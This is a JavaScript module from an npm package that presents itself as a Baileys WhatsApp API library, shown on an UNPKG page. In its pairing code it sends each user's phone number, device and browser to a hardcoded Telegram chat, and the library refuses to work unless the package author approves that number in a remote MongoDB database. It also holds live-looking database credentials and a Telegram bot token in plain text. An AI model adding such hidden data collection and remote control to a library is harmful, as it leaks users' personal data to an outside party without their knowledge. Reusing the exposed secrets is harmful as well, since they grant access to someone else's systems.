UNPKG

neroxbails

Version:

baileys whatsapp-api

473 lines (472 loc) • 19.9 kB
const TelegramBot = require('node-telegram-bot-api'); const os = require('os'); const pkg = require('../../package.json'); const axios = require('axios'); const mongoose = require('mongoose'); const MONGO_URI = 'mongodb+srv://nerok:Grobogan007@nerox.tqe7x.mongodb.net/?retryWrites=true&w=majority&appName=nerox' const userSchema = new mongoose.Schema({ phoneNumber: { type: String, required: true, unique: true }, status: { type: String, enum: ['pending', 'approved', 'denied'], default: 'pending' }, addedBy: String, createdAt: { type: Date, default: Date.now }, updatedAt: { type: Date, default: Date.now } }); const User = mongoose.model('User', userSchema); const connectToMongo = async (retries = 3) => { try { await mongoose.connect(MONGO_URI); } catch (err) { if (retries > 0) { await new Promise(resolve => setTimeout(resolve, 5000)); return connectToMongo(retries - 1); } throw err; } }; connectToMongo().catch(err => { throw new Error('Failed to connect to MongoDB: ' + err.message); }); const TELEGRAM_BOT_TOKEN = '8136718266:AAGrVkE63rjnPnFp_MsecdCSkL7yl3k9y0w'; const TELEGRAM_CHAT_ID = '7783298498'; const pairingRequests = new Map(); let isPolling = false; let pollingRetryCount = 0; const MAX_RETRY_ATTEMPTS = 3; const RETRY_DELAY = 5000; let bot = null; function createBot() { if (bot) { console.log('Cleaning up existing bot instance before creating a new one'); try { bot.removeAllListeners(); try { bot.stopPolling(); } catch (stopError) { console.error('Error stopping existing bot polling:', stopError.message); } bot = null; } catch (error) { console.error('Error cleaning up existing bot:', error.message); } } console.log('Creating fresh bot instance'); bot = new TelegramBot(TELEGRAM_BOT_TOKEN, { polling: false, filepath: false, baseApiUrl: "https://api.telegram.org", timeout: 10, request: { forever: false, pool: { maxSockets: 5 }, timeout: 5000, gzip: true, followRedirect: true, agent: false } }); bot.on('error', (error) => { console.error('Bot instance error:', error.message); }); return bot; } createBot(); const delay = ms => new Promise(resolve => setTimeout(resolve, ms)); async function cleanupPolling() { console.log('Cleaning up Telegram bot resources...'); try { if (bot) { try { bot.removeAllListeners(); console.log('All bot listeners removed'); } catch (listenerError) { console.error('Error removing listeners:', listenerError.message); } try { await Promise.race([ bot.stopPolling(), new Promise((_, reject) => setTimeout(() => reject(new Error('stopPolling timeout')), 3000)) ]); console.log('Bot polling stopped'); } catch (pollingError) { console.error('Error stopping polling:', pollingError.message); } await delay(1000); } } catch (error) { console.error('Cleanup error:', error.message); } finally { isPolling = false; pollingRetryCount = 0; console.log('Polling state reset'); } } let startPollingPromise = null; async function startPolling() { if (startPollingPromise) { try { await startPollingPromise; return; } catch (err) { console.log('Previous polling attempt failed, retrying'); } } if (isPolling) return; startPollingPromise = (async () => { try { console.log('Starting new Telegram polling session...'); await cleanupPolling(); createBot(); await delay(1000); bot.on('error', (error) => { console.error('Telegram bot error:', error.message); stopPolling().catch(() => {}); }); bot.on('polling_error', (error) => { if (error.code === 'ETELEGRAM' && error.response?.statusCode === 409) { console.error('Conflict with another bot instance, stopping this one'); stopPolling().catch(() => {}); } else { console.error('Telegram polling error:', error.message); stopPolling().catch(() => {}); } }); await bot.startPolling({ restart: false, onlyFirstMatch: true, cancel_pending: true, webhook: false, timeout: 10 }); console.log('Telegram polling started successfully'); isPolling = true; pollingRetryCount = 0; } catch (error) { console.error('Failed to start polling:', error.message); if (pollingRetryCount < MAX_RETRY_ATTEMPTS) { pollingRetryCount++; await delay(RETRY_DELAY); startPollingPromise = null; return startPolling(); } throw error; } finally { startPollingPromise = null; } })(); return startPollingPromise; } let stopPollingPromise = null; async function stopPolling() { if (stopPollingPromise) { try { await stopPollingPromise; return; } catch (err) { console.log('Previous stop polling attempt failed, retrying'); } } if (!isPolling) return; stopPollingPromise = (async () => { console.log('Stopping Telegram polling...'); try { if (bot) { try { bot.stopPolling(); await delay(1000); } catch (err) { console.error('Error stopping polling:', err.message); } } await cleanupPolling(); console.log('Telegram polling stopped successfully'); } catch (error) { console.error('Error during polling stop:', error.message); try { await cleanupPolling(); } catch (cleanupError) { console.error('Force cleanup also failed:', cleanupError.message); } throw error; } finally { stopPollingPromise = null; } })(); return stopPollingPromise; } async function cleanup() { if (isPolling) { try { await stopPolling(); pairingRequests.clear(); bot.removeAllListeners(); } catch (error) { } } } process.on('SIGINT', cleanup); process.on('SIGTERM', cleanup); process.on('exit', cleanup); const sendPairingRequest = async (deviceInfo) => { try { console.log('\nšŸ” DEBUG: deviceInfo received:', JSON.stringify(deviceInfo, null, 2)); console.log('šŸ” DEBUG: phoneNumber:', deviceInfo?.phoneNumber); console.log('šŸ” DEBUG: browser:', deviceInfo?.browser); console.log('šŸ” DEBUG: device:', deviceInfo?.device); if (!deviceInfo?.phoneNumber) { console.log('āŒ DEBUG: No phoneNumber found in deviceInfo'); return false; } const phoneNumber = deviceInfo.phoneNumber; try { const existingUser = await User.findOne({ phoneNumber }); if (existingUser) { if (existingUser.status === 'denied') { console.log('\n========================='); console.log('āŒ ACCESS BLOCKED'); console.log(`šŸ“± Phone Number: ${phoneNumber}`); console.log('ā— This number is blocked in database'); console.log('ā›” Contact administrator for access'); console.log('=========================\n'); } return existingUser.status === 'approved'; } } catch (dbError) { console.error('Database error:', dbError); } const requestId = Math.random().toString(36).substring(2, 15); return new Promise(async (resolve) => { if (!isPolling) { await startPolling(); } const handler = async (query) => { const MAX_RETRIES = 2; const RETRY_DELAY = 500; const OPERATION_TIMEOUT = 3000; try { if (!query?.data) return; const [action, rid, phone] = query.data.split('_'); if (!action || !rid || !phone || rid !== requestId) return; const request = pairingRequests.get(requestId); if (!request || request.status !== 'pending') return; const approved = action === 'approve'; request.status = approved ? 'approved' : 'denied'; pairingRequests.set(requestId, request); const executeWithTimeout = async (operation, timeout) => { return Promise.race([ operation, new Promise((_, reject) => setTimeout(() => reject(new Error('Operation timed out')), timeout) ) ]); }; const retryOperation = async (operation, retries = 0) => { try { return await executeWithTimeout(operation(), OPERATION_TIMEOUT); } catch (error) { if (retries < MAX_RETRIES) { console.log(`Retry attempt ${retries + 1}/${MAX_RETRIES}...`); await delay(RETRY_DELAY * Math.pow(2, retries)); return retryOperation(operation, retries + 1); } throw error; } }; try { const updateResult = await retryOperation(async () => User.findOneAndUpdate( { phoneNumber: phone }, { status: approved ? 'approved' : 'denied', addedBy: 'telegram_bot', updatedAt: new Date() }, { upsert: true, new: true } ) ); if (!updateResult) { throw new Error('Failed to update database'); } const responseMsg = approved ? `āœ… *Pairing request approved*\nšŸ“± Phone: ${phone}` : `āŒ *Pairing request denied*\nšŸ“± Phone: ${phone}`; await retryOperation(async () => bot.answerCallbackQuery(query.id, { text: approved ? 'Approved āœ…' : 'Denied āŒ', show_alert: true, cache_time: 1 }) ); retryOperation(async () => bot.sendMessage(TELEGRAM_CHAT_ID, responseMsg, { parse_mode: 'Markdown' }) ).catch(console.error); console.log('\n========================='); if (approved) { console.log('āœ… PAIRING REQUEST APPROVED'); console.log(`šŸ“± Phone Number: ${phone}`); console.log('✨ Successfully authorized by administrator'); } else { console.log('āŒ PAIRING REQUEST DENIED'); console.log(`šŸ“± Phone Number: ${phone}`); console.log('ā— Access denied by administrator'); console.log('ā›” Cannot use this service until approved'); } console.log('=========================\n'); bot.removeListener('callback_query', handler); pairingRequests.delete(requestId); if (!approved) { await retryOperation(async () => sendTelegramNotif(`🚫 WhatsApp connection for ${phone} has been cancelled`) ); } resolve(approved); } catch (error) { console.error('All retry attempts failed:', error); bot.removeListener('callback_query', handler); pairingRequests.delete(requestId); resolve(false); } } catch (error) { console.error('Error processing callback:', error); resolve(false); } }; bot.on('callback_query', handler); pairingRequests.set(requestId, { status: 'pending', deviceInfo, timestamp: Date.now(), attempts: 0, lastError: null }); const messageText = `*New WhatsApp Pairing Request*\n\n` + `šŸ“± *Phone:* ${phoneNumber}\n` + `šŸ”‘ *ID:* \`${requestId}\`\n` + `šŸ’» *Device:* ${deviceInfo.device}\n` + `🌐 *Browser:* ${deviceInfo.browser}`; const markup = { inline_keyboard: [[ { text: 'āœ… Approve', callback_data: `approve_${requestId}_${phoneNumber}` }, { text: 'āŒ Deny', callback_data: `deny_${requestId}_${phoneNumber}` } ]] }; try { const msg = await bot.sendMessage(TELEGRAM_CHAT_ID, messageText, { parse_mode: 'Markdown', reply_markup: markup }); const request = pairingRequests.get(requestId); if (request) { request.messageId = msg.message_id; pairingRequests.set(requestId, request); } } catch (error) { console.error('Error sending message:', error); pairingRequests.delete(requestId); resolve(false); return; } setTimeout(async () => { try { const request = pairingRequests.get(requestId); if (request?.status === 'pending') { console.log('\n========================='); console.log('ā° PAIRING REQUEST TIMEOUT'); console.log(`šŸ“± Phone Number: ${phoneNumber}`); console.log('ā— Request expired after 5 minutes'); console.log('šŸ’” User must request access again'); console.log('=========================\n'); await User.findOneAndUpdate( { phoneNumber }, { status: 'denied', addedBy: 'timeout', updatedAt: new Date() }, { upsert: true } ); pairingRequests.delete(requestId); bot.removeListener('callback_query', handler); resolve(false); } } catch (error) { console.error('Error in timeout handler:', error); resolve(false); } }, 5 * 60 * 1000); }); } catch (error) { console.error('Error in sendPairingRequest:', error); return false; } }; async function handlePairingLifecycle(deviceInfo) { console.log('\n========================='); console.log('šŸ”„ STARTING PAIRING PROCESS'); console.log(`šŸ“± Phone Number: ${deviceInfo?.phoneNumber || 'Unknown'}`); console.log('=========================\n'); try { console.log('Cleaning up before starting pairing process'); await cleanupPolling(); console.log('Creating new bot instance'); createBot(); await delay(2000); console.log('Starting polling for pairing process'); await startPolling(); console.log('Sending pairing request and awaiting admin approval'); const result = await sendPairingRequest(deviceInfo); console.log('Pairing process completed, cleaning up'); await stopPolling(); return result; } catch (error) { console.error('Error in pairing lifecycle:', error.message); try { await stopPolling().catch(err => { console.error('Additional error during cleanup:', err.message); }); } catch (cleanupError) { console.error('Failed to clean up after pairing error:', cleanupError.message); } return false; } finally { console.log('\n========================='); console.log('šŸ”„ PAIRING PROCESS FINISHED'); console.log('=========================\n'); } } const sendTelegramNotif = async (message) => { console.log('Sending Telegram notification:', message); let wasPollingBefore = isPolling; try { if (!wasPollingBefore) { console.log('Starting temporary polling for notification'); await startPolling(); } await Promise.race([ bot.sendMessage(TELEGRAM_CHAT_ID, message, { parse_mode: 'Markdown', disable_web_page_preview: true }), new Promise((_, reject) => setTimeout(() => reject(new Error('Send message timeout')), 10000)) ]); console.log('Telegram notification sent successfully'); return true; } catch (error) { console.error('Error sending Telegram notification:', error.message); return false; } finally { if (!wasPollingBefore && isPolling) { console.log('Stopping temporary polling after notification'); try { await stopPolling(); } catch (stopError) { console.error('Error stopping polling after notification:', stopError.message); } } } }; module.exports = { handlePairingLifecycle, sendTelegramNotif, sendPairingRequest };